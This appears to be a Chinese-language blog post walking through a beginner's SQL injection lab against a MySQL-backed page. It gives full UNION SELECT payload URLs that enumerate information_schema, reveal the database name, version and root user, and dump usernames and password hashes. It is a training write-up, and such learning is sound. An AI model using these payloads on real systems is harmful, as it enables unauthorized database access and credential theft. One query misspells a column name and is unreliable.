Fork me on GitHub

关于mysql注入

mysql 注入
下面是我第一次打的靶场,是关于mysql数据库的网站漏洞。
1http://219.153.49.228:41446/new_list.php?id=1
写入 and 1=1看是否能运行
在写入and 2=2
判断是否有注入点
在写入order by 1.。。
判断有几个
union select 几个
自带一个information_schema存放数据库,表等。
information_schema.tables;记录所有表名信息的表。
information_schema.columns;记录所有列名信息的表。

修改 2 3 地方分别为 database(),version()。

获取

数据库名database(): mozhe_Discuz_StormGroup
数据库版本version(): 5.7.22-0ubuntu0.16.04.1
数据库用户user(): root@localhost
操作系统: @@version_compile_os:Linux

sql语句

http://219.153.49.228:41446/new_list.php?id=-1 union select 1,group_concat(table_name),3,4
from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
结果:StormGroup_member

查询指定表名StormGroup_member下的列名信息:
http://219.153.49.228:41446/new_list.php?id=-1
union select 1,group_concat(columns_name),3,4
from information_schema.columns where table_name='StormGroup_member'
结果: id,name,password,status

查询指定信息:
http://219.153.49.228:41446/new_list.php?id=-1
union select 1,password,name,4
from StormGroup_member

结果
356f589a7df439f6f744ff19bb8092c0
mozhe

错误
可能有多个密码
在后面加上 limit 1,1
70f50b7c8bbbcf24bb83d07698e61f01
220418

posted @ 2022-02-21 18:35  sxflmy  阅读(63)  评论(0)    收藏  举报